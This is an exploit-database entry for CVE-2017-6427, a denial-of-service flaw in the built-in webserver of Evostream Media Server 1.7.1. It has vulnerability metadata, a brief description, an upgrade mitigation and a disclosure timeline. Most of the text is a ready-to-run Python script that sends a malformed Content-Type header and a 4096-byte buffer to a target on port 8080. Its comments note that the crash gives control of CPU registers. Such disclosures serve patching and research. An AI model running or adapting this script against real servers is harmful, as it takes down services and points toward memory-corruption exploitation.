Evostream Media Server 1.7.1 – Built-in Webserver DoS

vendor:

Evostream Media Server

by:

Peter Baris

7,5

CVSS

HIGH

Denial of Service

400

CWE

Product Name: Evostream Media Server

Affected Version From: 1.7.1

Affected Version To: 1.7.1

Patch Exists: YES

Related CWE: CVE-2017-6427

CPE: a:evostream:evostream_media_server:1.7.1

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows Server 2008 R2 Standard x64

2017

Evostream Media Server 1.7.1 – Built-in Webserver DoS

Evostream Media Server 1.7.1 is vulnerable to a denial of service attack when a malicious HTTP header is sent to the built-in webserver. The malicious header contains a Content-Length field with a value of 5900 and a Content-Type field with a value of application/x-www-form-urlencoded. The header also contains a buffer of 4096 bytes which will be written to the stack.

Mitigation:

Upgrade to the latest version of Evostream Media Server.

Source

Exploit-DB raw data:

# Exploit Title: Evostream Media Server 1.7.1 – Built-in Webserver DoS
# Date: 2017-03-07
# Exploit Author: Peter Baris
# Vendor Homepage: http://www.saptech-erp.com.au
# Software Link: https://evostream.com/software-downloads/
# Version: 1.7.1
# Tested on: Windows Server 2008 R2 Standard x64
# CVE : CVE-2017-6427

# 2017-03-02: Vulnerability reported
# 2017-03-03: Software vendor answered, vulnerability details shared
# 2017-03-07: No answer, publishing

import socket
import sys

try:
    host = sys.argv[1]
    port = 8080
except IndexError:
    print "[+] Usage %s <host>  " % sys.argv[0]
    sys.exit()



buffer = "GET /index.html HTTP/1.1\r\n"
buffer+= "Host: "+host+":"+str(port)+"\r\n"
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Accept-Encoding: gzip, deflate\r\n"
buffer+="Referer: http://192.168.198.129/login"
buffer+="Connection: keep-alive\r\n"
buffer+="Cont"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n"   # RCX Control
#buffer+="\xff\xad\xde"+"\x41"*8+":\r\napplication/x-www-form-urlencoded\r\n" # Remove hash to control RDX and CX(it will have the value 0x000000000000dead)
buffer+="Content-Length: 5900\r\n\r\n"
buffer+="B"*4096 # This is just to prove that the stack will also contain any buffer delivered with the malicios HTTP header
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect((host,port))
s.send(buffer)
s.close()